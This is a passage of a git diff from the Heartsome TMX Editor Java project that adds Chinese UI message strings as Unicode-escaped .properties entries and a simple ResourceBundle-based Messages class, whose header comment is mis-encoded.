\u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u66ff\u6362\u3002 +dialog.FindReplaceDialog.status3 = \u5df2\u66ff\u6362 {0} \u4e2a\u5339\u914d\u9879\u3002 +######---------end---- ############ + +# add by robert 2013-06-14 tmxeditor.all.dialog.info = \u63d0\u793a tmxeditor.all.dialog.warning = \u8b66\u544a tmxeditor.all.dialog.error = \u9519\u8bef tmxeditor.all.dialog.confirm = \u786e\u8ba4 tmxeditor.all.dialog.cancel = \u53d6\u6d88 tmxeditor.OpenTmxFileHandler.openFileErrorMsg = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 + # add by yule 2013-9-9 tmxeditor.filterdialog.title=\u8fc7\u6ee4\u5668\u8bbe\u7f6e tmxeditor.filterdialog.custom.title=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 tmxeditor.filterdialog.custom.display.itmes=\u53ef\u7528\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5982\u4e0b\u663e\u793a tmxeditor.filterdialog.colum.name.disc=\u63cf\u8ff0 tmxeditor.filterdialog.colum.name.use=\u542f\u7528 tmxeditor.filterdialog.newFilter=\u65b0\u5efa(&N)... tmxeditor.filterdialog.editFilter=\u7f16\u8f91(&E)... tmxeditor.filterdialog.deleteFilter=\u5220\u9664(&T) tmxeditor.filterdialog.config.delete.msg=\u786e\u5b9a\u5220\u9664\u9009\u4e2d\u7684\u6570\u636e\uff1f tmxeditor.filterdialog.warn.delete=\u672a\u9009\u62e9\u8981\u5220\u9664\u7684\u6570\u636e\u3002 tmxeditor.filterRegularDialog.source=\u6e90\u6587 +tmxeditor.filterRegularDialog.target=\u8bd1\u6587 tmxeditor.filterRegularDialog.note=\u6279\u6ce8 tmxeditor.filterRegularDialog.fixAttribute=\u56fa\u5b9a\u5c5e\u6027 tmxeditor.filterRegularDialog.customAttribute=\u81ea\u5b9a\u4e49\u5c5e\u6027 tmxeditor.filterRegularDialog.contains=\u5305\u542b tmxeditor.filterRegularDialog.notcontains=\u4e0d\u5305\u542b tmxeditor.filterRegularDialog.equal=\u7b49\u4e8e tmxeditor.filterRegularDialog.notequal=\u4e0d\u7b49\u4e8e tmxeditor.filterRegularDialog.add_filter_rules=\u6dfb\u52a0\u8fc7\u6ee4\u5668\u89c4\u5219 tmxeditor.filterRegularDialog.edit_filer_rules=\u7f16\u8f91\u8fc7\u6ee4\u5668\u89c4\u5219 tmxeditor.filterRegularDialog.filterName=\u8fc7\u6ee4\u5668\u540d\u79f0(&I) tmxeditor.filterRegularDialog.fullFillAllCondition=\u6ee1\u8db3\u6240\u6709\u4ee5\u4e0b\u6761\u4ef6(&A) tmxeditor.filterRegularDialog.fullfillOneCondition=\u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6(&O) tmxeditor.filterRegularDialog.warn.msg1=\u672a\u586b\u5199\u8fc7\u6ee4\u5668\u540d\u79f0\u3002 tmxeditor.filter.targetSearchText.label = \u8bf7\u8f93\u5165\u76ee\u6807\u6587\u672c\u6bb5\u5173\u952e\u5b57 tmxeditor.filter.sourceSearchText.label = \u8bf7\u8f93\u5165\u6e90\u6587\u672c\u6bb5\u5173\u952e\u5b57 tmxeditor.filter.srcLang=\u6e90\uff1a tmxeditor.filter.tgtLang=\u76ee\u6807\uff1a tmxeditor.fitler.searchGroup = \u641c\u7d22 tmxeditor.filter.fitlerGroup=\u6761\u4ef6\u7b5b\u9009 tmxeditor.filter.ignoreCase=\u5ffd\u7565\u5927\u5c0f\u5199 tmxeditor.filter.ignoreTag=\u5ffd\u7565\u6807\u8bb0 tmxeditor.filter.searchBtn=\u641c\u7d22 tmxeditor.filter.customFilterBtbLable=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 tmxeditor.filter.editor=\u7f16\u8f91 tmxeditor.filter.qa=QA tmxeditor.tmxeditor.deleteIngerTag.taskName=\u5f00\u59cb\u6e05\u9664\u6807\u8bb0... tmxeditor.tmxeditor.warn.msg1=\u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u4e00\u81f4\u3002 tmxeditor.tmxEditorFilter.allFilter.name=\u6240\u6709\u6587\u672c\u6bb5 tmxeditor.tmxEditorFilter.srcTgtSame.name=\u6e90\u6587\u548c\u8bd1\u6587\u76f8\u540c\u7684\u6587\u672c\u6bb5 tmxeditor.tmxEditorFilter.hasNote.name=\u5e26\u6709\u6279\u6ce8\u7684\u6587\u672c\u6bb5 tmxeditor.tmxEditorFilter.hasGarbled.name=\u5b58\u5728\u4e71\u7801\u7684\u6587\u672c\u6bb5 tmxeditor.tmxEditorFilter.srcSameDiffTgt=\u6e90\u6587\u76f8\u540c\uff0c\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5 tmxeditor.tmxEditorFilter.tgtSameDiffsrc=\u8bd1\u6587\u76f8\u540c\uff0c\u6e90\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5 tmxeditor.tmxEditorFilter.tgtNullSeg=\u8bd1\u6587\u4e3a\u7a7a\u7684\u6587\u672c\u6bb5 tmxeditor.deleteTuHandler.warn.msg=\u8b66\u544a tmxeditor.deleteTuHandler.warn.desc=\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u662f\u5426\u7ee7\u7eed\uff1f tmxeditor.addElementAttrDialog.title=\u6dfb\u52a0\u56fa\u5b9a\u5c5e\u6027 tmxeditor.addElementAttrDialog.addFixAttr.title=\u6dfb\u52a0\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 tmxeditor.addElementAttrDialog.apply=\u5e94\u7528\u5230 tmxeditor.addElementAttrDialog.current.line=\u5f53\u524d\u9009\u4e2d\u884c tmxeditor.addElementAttrDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c tmxeditor.addElementAttrDialog.attrName=\u5c5e\u6027\u540d\uff1a tmxeditor.addElementAttrDialog.attrValue=\u5c5e\u6027\u503c\uff1a tmxeditor.addElementAttrDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 tmxeditor.addElementAttrDialog.addWarn.msg1=*\u5df2\u7ecf\u5b58\u5728\u540d\u4e3a{0}\u7684\u5c5e\u6027 tmxeditor.addElementDialog.title=\u6dfb\u52a0\u6279\u6ce8 tmxeditor.addElementDialog.addFixAttr.title=\u6dfb\u52a0\u7ffb\u8bd1\u5355\u5143\u81ea\u5b9a\u4e49\u5c5e\u6027 tmxeditor.addElementDialog.apply=\u5e94\u7528\u5230 tmxeditor.addElementDialog.current.line=\u5f53\u524d\u9009\u4e2d\u884c tmxeditor.addElementDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c tmxeditor.addElementDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 tmxeditor.addElementDialog.noteContent=\u6279\u6ce8\u5185\u5bb9\uff1a tmxeditor.addElementDialog.customAttrContent=\u81ea\u5b9a\u4e49\u5c5e\u6027\u5185\u5bb9\uff1a tmxeditor.deleteConfigDialog.title=\u786e\u8ba4 tmxeditor.deleteConfigDialog.apply=\u5e94\u7528\u5230 tmxeditor.deleteConfigDialog.current.line=\u5f53\u524d\u9009\u4e2d\u884c tmxeditor.deleteConfigDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c tmxeditor.deleteConfigDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 tmxeditor.editElementAttrDialog.title=\u7f16\u8f91\u7ffb\u8bd1\u5355\u5143\u56fa\u5b9a\u5c5e\u6027 tmxeditor.editElementAttrDialog.addFixAttr.title=\u7f16\u8f91\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 tmxeditor.editElementAttrDialog.apply=\u5e94\u7528\u5230 tmxeditor.editElementAttrDialog.current.line=\u5f53\u524d\u9009\u4e2d\u884c tmxeditor.editElementAttrDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c tmxeditor.editElementAttrDialog.customAttrName=\u5c5e\u6027\u540d\uff1a tmxeditor.editElementAttrDialog.customAttrValue=\u5c5e\u6027\u503c\uff1a tmxeditor.editElementAttrDialog.allFileDatabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 tmxeditor.editElementDialog.title=\u7f16\u8f91\u6279\u6ce8 tmxeditor.editElementDialog.addFixAttr.title=\u7f16\u8f91\u7ffb\u8bd1\u5355\u5143\u81ea\u5b9a\u4e49\u5c5e\u6027 tmxeditor.editElementDialog.apply=\u5e94\u7528\u5230 tmxeditor.editElementDialog.current.line=\u5f53\u524d\u9009\u4e2d\u884c tmxeditor.editElementDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c tmxeditor.editElementDialog.allFileDatabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 tmxeditor.editElementDialog.noteContent=\u6279\u6ce8\u5185\u5bb9\uff1a tmxeditor.editElementDialog.customAttrContent=\u5185\u5bb9\uff1a tmxeditor.propertiesView.add=\u65b0\u589e tmxeditor.propertiesView.add.toolTip=\u65b0\u589e tmxeditor.propertiesView.eidt=\u7f16\u8f91 tmxeditor.propertiesView.edit.toolTip=\u7f16\u8f91 tmxeditor.propertiesView.delete=\u5220\u9664 tmxeditor.propertiesView.delet.toolTip=\u5220\u9664 tmxeditor.tmxeditorimpwithNattable.headerLable1=TU \u5c5e\u6027 tmxeditor.tmxeditorView.openFileTaskName=\u6b63\u5728\u6253\u5f00\u6587\u4ef6... tmxeditor.tmxeditorView.openTMDBTaskName=\u6b63\u5728\u6253\u5f00\u8bb0\u5fc6\u5e93... tmxedtior.bodyMenuConfiguration.cut = \u526a\u8d34 tmxedtior.bodyMenuConfiguration.copy = \u590d\u5236 tmxedtior.bodyMenuConfiguration.paste = \u7c98\u8d34 tmxeditor.tmxEditorViewer.savelabel = \u6b63\u5728\u4fdd\u5b58... tmxeditor.tmxEditorViewer.saveAsMsg1 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u662f\u5426\u8986\u76d6\uff1f # add by robert 2013-10-09 view.QAResultViewer.columnNameLine = \u884c\u53f7 view.QAResultViewer.columnNameType = \u7c7b\u578b view.QAResultViewer.columnNameQATip = \u95ee\u9898 view.QAResultViewer.LOGG.dataInpuError = [LOGG]\u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u586b\u5145\u5f02\u5e38\u3002 diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/Messages.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/Messages.java new file mode 100644 index 0000000..080c768 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/Messages.java @@ -0,0 +1,35 @@ +/** + * Messages.java + * + * Version information : + * + * Date:2013-6-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Messages { + private static final String BUNDLE_NAME = "net.heartsome.cat.te.tmxeditor.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message.properties b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message.properties new file mode 100644 index 0000000..e63b940 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message.properties @@ -0,0 +1,208 @@ +tmxeditor.all.dialog.info = \u63d0\u793a +tmxeditor.all.dialog.warning = \u8b66\u544a +tmxeditor.all.dialog.error = \u9519\u8bef +tmxeditor.all.dialog.confirm = \u786e\u8ba4 +tmxeditor.all.dialog.cancel = \u53d6\u6d88 +tmxeditor.all.dialog.okBtn = \u786e\u5b9a +tmxeditor.all.dialog.cancelBtn = \u53d6\u6d88 + +tmxeditor.view.PropertiesView.fixedProp = \u7cfb\u7edf\u5c5e\u6027 +tmxeditor.view.PropertiesView.customProp = \u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.view.PropertiesView.tuvProp = \u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.view.PropertiesView.noteProp = \u6279\u6ce8 +tmxeditor.view.PropertiesView.errormsg0 = \u672a\u9009\u4e2d\u4efb\u4f55\u8bed\u8a00\uff0c\u8bf7\u5148\u9009\u62e9\u8bed\u8a00\u540e\u518d\u8fdb\u884c\u6b64\u64cd\u4f5c\u3002 +tmxeditor.view.PropertiesView.errormsg1 = \u5f53\u524d\u8bed\u8a00\u5217\u7684\u5185\u5bb9\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u7f16\u8f91\u5176\u5c5e\u6027\u3002 +tmxeditor.view.AddPropertyDialog.lblCategory = \u7c7b\u522b +tmxeditor.view.AddPropertyDialog.lblKey = \u5c5e\u6027 +tmxeditor.view.AddPropertyDialog.lblValue = \u503c + +dialog.FindReplaceDialog.Title = \u67e5\u627e\u548c\u66ff\u6362 +dialog.FindReplaceDialog.findButton = \u67e5\u627e\u4e0b\u4e00\u4e2a(&F) +dialog.FindReplaceDialog.findNextButton = \u66ff\u6362\u5e76\u67e5\u627e(&N) +dialog.FindReplaceDialog.replaceButton = \u66ff\u6362(&R) +dialog.FindReplaceDialog.replaceAllButton = \u66ff\u6362\u6240\u6709(&A) +dialog.FindReplaceDialog.findLabel = \u67e5\u627e\uff1a +dialog.FindReplaceDialog.replaceWithLabel = \u66ff\u6362\u4e3a\uff1a +dialog.FindReplaceDialog.directionGroup = \u65b9\u5411 +dialog.FindReplaceDialog.forwardButton = \u5411\u4e0b(&D) +dialog.FindReplaceDialog.backwardButton = \u5411\u4e0a(&U) +dialog.FindReplaceDialog.rangeGroup = \u8303\u56f4 +dialog.FindReplaceDialog.sourceButton = \u6e90\u6587(&S) +dialog.FindReplaceDialog.targetButton = \u8bd1\u6587(&T) +dialog.FindReplaceDialog.optionsGroup = \u9009\u9879 +dialog.FindReplaceDialog.caseSensitiveButton = \u533a\u5206\u5927\u5c0f\u5199(&E) +dialog.FindReplaceDialog.wholeWordButton = \u6574\u8bcd\u5339\u914d(&W) +dialog.FindReplaceDialog.regExButton = \u6b63\u5219\u8868\u8fbe\u5f0f(&X) +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = \u672a\u627e\u5230\u6307\u5b9a\u5185\u5bb9\u3002 +dialog.FindReplaceDialog.status2 = \u4e0d\u80fd\u7f16\u8f91\u9501\u5b9a\u6587\u672c\u6bb5\u3002 +dialog.FindReplaceDialog.status3 = \u5df2\u66ff\u6362 {0} \u4e2a\u5339\u914d\u9879\u3002 + +tmxeditor.all.dialog.info = \u63d0\u793a +tmxeditor.all.dialog.warning = \u8b66\u544a +tmxeditor.all.dialog.error = \u9519\u8bef +tmxeditor.all.dialog.confirm = \u786e\u8ba4 +tmxeditor.all.dialog.cancel = \u53d6\u6d88 + +tmxeditor.OpenTmxFileHandler.openFileErrorMsg = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 + +tmxeditor.filterdialog.title=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +tmxeditor.filterdialog.custom.title=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +tmxeditor.filterdialog.custom.display.itmes=\ +tmxeditor.filterdialog.colum.name.disc=\u540d\u79f0 +tmxeditor.filterdialog.colum.name.use=\u542f\u7528 +tmxeditor.filterdialog.newFilter=\u65b0\u5efa(&N)... +tmxeditor.filterdialog.editFilter=\u7f16\u8f91(&E)... +tmxeditor.filterdialog.deleteFilter=\u5220\u9664(&D) +tmxeditor.filterdialog.config.delete.msg=\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8fc7\u6ee4\u5668\u5417\uff1f +tmxeditor.filterdialog.warn.delete=\u8bf7\u5148\u9009\u62e9\u8981\u5220\u9664\u7684\u8fc7\u6ee4\u5668\u3002 + +tmxeditor.filterRegularDialog.source=\u6e90\u6587 +tmxeditor.filterRegularDialog.target=\u8bd1\u6587 +tmxeditor.filterRegularDialog.note=\u6279\u6ce8 +tmxeditor.filterRegularDialog.fixAttribute=\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.filterRegularDialog.customAttribute=\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.filterRegularDialog.contains=\u5305\u542b +tmxeditor.filterRegularDialog.notcontains=\u4e0d\u5305\u542b +tmxeditor.filterRegularDialog.equal=\u7b49\u4e8e +tmxeditor.filterRegularDialog.notequal=\u4e0d\u7b49\u4e8e +tmxeditor.filterRegularDialog.add_filter_rules=\u6dfb\u52a0\u8fc7\u6ee4\u5668\u89c4\u5219 +tmxeditor.filterRegularDialog.edit_filer_rules=\u7f16\u8f91\u8fc7\u6ee4\u5668\u89c4\u5219 +tmxeditor.filterRegularDialog.filterName=\u8fc7\u6ee4\u5668\u540d\u79f0(&N) +tmxeditor.filterRegularDialog.fullFillAllCondition=\u6ee1\u8db3\u6240\u6709\u4ee5\u4e0b\u6761\u4ef6(&A) +tmxeditor.filterRegularDialog.fullfillOneCondition=\u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6(&Y) +tmxeditor.filterRegularDialog.warn.msg1=\u8bf7\u8f93\u5165\u8fc7\u6ee4\u5668\u540d\u79f0\u3002 +tmxeditor.filterRegularDialog.okpress.contentNull = \u8bf7\u8bbe\u7f6e\u8fc7\u6ee4\u6761\u4ef6\u3002 + +tmxeditor.filter.targetSearchText.label = \u641c\u7d22\u8bd1\u6587 +tmxeditor.filter.sourceSearchText.label = \u641c\u7d22\u6e90\u6587 +tmxeditor.filter.srcLang=\u6e90\u6587\uff1a +tmxeditor.filter.tgtLang=\u8bd1\u6587\uff1a +tmxeditor.fitler.searchGroup = \u641c\u7d22 +tmxeditor.filter.fitlerGroup=\u8fc7\u6ee4\u5668 +tmxeditor.filter.ignoreCase=\u5ffd\u7565\u5927\u5c0f\u5199 +tmxeditor.filter.ignoreTag=\u5ffd\u7565\u6807\u8bb0 +tmxeditor.filter.searchBtn=\u641c\u7d22 +tmxeditor.filter.customFilterBtbLable=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +tmxeditor.filter.editor=\u7f16\u8f91 +tmxeditor.filter.qa=QA + +tmxeditor.tmxeditor.deleteIngerTag.taskName=\u5f00\u59cb\u6e05\u9664\u6807\u8bb0... +tmxeditor.tmxeditor.warn.msg1=\u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +tmxeditor.tmxeditor.savefailmsg = \u65e0\u6cd5\u4fdd\u5b58\uff1a{0}\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5173\u95ed\u6587\u4ef6\u3001\u5e76\u653e\u5f03\u4fee\u6539\u5417\uff1f +tmxeditor.tmxeditor.savechangs = TMX \u6587\u4ef6\u7684\u5185\u5bb9\u5df2\u7ecf\u53d1\u751f\u6539\u53d8\u3002\u786e\u5b9a\u8981\u4fdd\u5b58\u5f53\u524d\u4fee\u6539\u5417\uff1f +tmxeditor.tmxeditor.qaItemNull = \u8bf7\u9009\u62e9\u8981\u68c0\u67e5\u7684 QA \u9879\u3002 +tmxeditor.tmxEditorFilter.allFilter.name=\u6240\u6709\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.srcTgtSame.name=\u6e90\u6587\u548c\u8bd1\u6587\u76f8\u540c\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.hasNote.name=\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.hasGarbled.name=\u5b58\u5728\u4e71\u7801\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.srcSameDiffTgt=\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.tgtSameDiffsrc=\u8bd1\u6587\u76f8\u540c\u3001\u6e90\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.tgtNullSeg=\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.duplicateSeg = \u91cd\u590d\u6587\u672c\u6bb5 + +tmxeditor.deleteTuHandler.warn.msg=\u8b66\u544a +tmxeditor.deleteTuHandler.warn.desc=\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u884c\u5417\uff1f +tmxeditor.deleteTuHandler.noSelectedMsg = \u8bf7\u5148\u9009\u62e9\u8981\u5220\u9664\u7684\u884c\u3002 + +tmxeditor.addElementAttrDialog.title=\u6dfb\u52a0\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.addElementAttrDialog.addFixAttr.title=\u6dfb\u52a0\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.addElementAttrDialog.apply=\u5e94\u7528\u5230 +tmxeditor.addElementAttrDialog.current.line=\u9009\u4e2d\u884c +tmxeditor.addElementAttrDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.addElementAttrDialog.attrName=\u5c5e\u6027\u540d\uff1a +tmxeditor.addElementAttrDialog.attrValue=\u5c5e\u6027\u503c\uff1a +tmxeditor.addElementAttrDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.addElementAttrDialog.addWarn.msg1=\u5df2\u7ecf\u5b58\u5728\u540d\u4e3a {0} \u7684\u5c5e\u6027\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +tmxeditor.addElementDialog.title=\u6dfb\u52a0\u6279\u6ce8 +tmxeditor.addElementDialog.addFixAttr.title=\u6dfb\u52a0\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.addElementDialog.pasteprop.title=\u7c98\u8d34\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.addElementDialog.overwrite=\u8986\u76d6\u5df2\u6709\u5c5e\u6027 +tmxeditor.addElementDialog.apply=\u5e94\u7528\u5230 +tmxeditor.addElementDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.addElementDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.addElementDialog.noteContent=\u6279\u6ce8\u5185\u5bb9\uff1a +tmxeditor.addElementDialog.customAttrContent=\u5c5e\u6027\u503c\uff1a +tmxeditor.addElementDialog.attrNameLbl = \u5c5e\u6027\u540d\uff1a + +tmxeditor.deleteConfigDialog.apply=\u5e94\u7528\u5230 +tmxeditor.deleteConfigDialog.current.line=\u9009\u4e2d\u884c +tmxeditor.deleteConfigDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.deleteConfigDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.deleteConfigDialog.title.tu=\u5220\u9664\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.deleteConfigDialog.title.prop=\u5220\u9664\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.deleteConfigDialog.title.tuv=\u5220\u9664\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.deleteConfigDialog.title.note=\u5220\u9664\u6279\u6ce8 + + +tmxeditor.editElementAttrDialog.title=\u7f16\u8f91\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.editElementAttrDialog.addFixAttr.title=\u7f16\u8f91\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.editElementAttrDialog.apply=\u5e94\u7528\u5230 +tmxeditor.editElementAttrDialog.current.line=\u5f53\u524d\u6587\u672c\u6bb5 +tmxeditor.editElementAttrDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.editElementAttrDialog.customAttrName=\u5c5e\u6027\u540d\uff1a +tmxeditor.editElementAttrDialog.customAttrValue=\u5c5e\u6027\u503c\uff1a +tmxeditor.editElementAttrDialog.allFileDatabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 + + +tmxeditor.editElementDialog.title=\u7f16\u8f91\u6279\u6ce8 +tmxeditor.editElementDialog.addFixAttr.title=\u7f16\u8f91\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.editElementDialog.apply=\u5e94\u7528\u5230 +tmxeditor.editElementDialog.current.line=\u5f53\u524d\u6587\u672c\u6bb5 +tmxeditor.editElementDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.editElementDialog.allFileDatabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.editElementDialog.noteContent=\u6279\u6ce8\u5185\u5bb9\uff1a +tmxeditor.editElementDialog.customAttrType=\u5c5e\u6027\u540d\uff1a +tmxeditor.editElementDialog.customAttrContent=\u5c5e\u6027\u503c\uff1a +tmxeditor.editElementDialog.prop.nameOnly=\u53ea\u4fee\u6539\u5c5e\u6027\u540d + + +tmxeditor.propertiesView.add=\u65b0\u589e +tmxeditor.propertiesView.add.toolTip=\u65b0\u589e +tmxeditor.propertiesView.eidt=\u7f16\u8f91 +tmxeditor.propertiesView.edit.toolTip=\u7f16\u8f91 +tmxeditor.propertiesView.delete=\u5220\u9664 +tmxeditor.propertiesView.delet.toolTip=\u5220\u9664 + +tmxeditor.tmxeditorimpwithNattable.headerLable1=\u7cfb\u7edf\u5c5e\u6027 + +tmxeditor.tmxeditorView.openFileTaskName=\u6b63\u5728\u6253\u5f00\u6587\u4ef6... +tmxeditor.tmxeditorView.openTMDBTaskName=\u6b63\u5728\u6253\u5f00\u8bb0\u5fc6\u5e93... +tmxeditor.tmxeditorView.readOnly = \uff08\u53ea\u8bfb\uff09 +tmxeditor.tmxeditorView.outofmemory = \u5185\u5b58\u4e0d\u8db3\uff0c\u65e0\u6cd5\u5b8c\u6210\u6b64\u64cd\u4f5c\u3002\n\n\u8bf7\u6309\u7167\u5982\u4e0b\u6b65\u9aa4\u589e\u52a0\u672c\u8f6f\u4ef6\u53ef\u4f7f\u7528\u7684\u5185\u5b58\uff1a\n1\u3001Windows/Linux \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\u4e2d\u7684 Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n2\u3001Mac OS X \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\uff0c\u53f3\u952e\u70b9\u51fb Heartsome TMX Editor.app\uff0c\u9009\u62e9\u201c\u663e\u793a\u5305\u5185\u5bb9\u201d\uff0c\u6253\u5f00 Contents/MacOS/Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n3\u3001\u4fee\u6539\u4e0a\u8ff0 .ini \u6587\u4ef6\u4e2d\u7684 -Xmx512m \u4e3a\u66f4\u5927\u7684\u6570\u503c\uff0c\u4f8b\u5982\u6539\u4e3a -Xmx1024m \u6216 -Xmx1536m\uff08\u8bf7\u6ce8\u610f\u4fee\u6539\u540e\u7684\u503c\u4e0d\u80fd\u8d85\u8fc7\u60a8\u7684\u7269\u7406\u5185\u5b58\u5927\u5c0f\uff09\uff1b\n4\u3001\u91cd\u542f\u672c\u8f6f\u4ef6\u3002 +tmxedtior.bodyMenuConfiguration.cut = \u526a\u5207 +tmxedtior.bodyMenuConfiguration.copy = \u590d\u5236 +tmxedtior.bodyMenuConfiguration.paste = \u7c98\u8d34 +tmxeditor.tmxEditorViewer.savelabel = \u6b63\u5728\u4fdd\u5b58... +tmxeditor.tmxEditorViewer.DBReadOnlyOpenMsg = 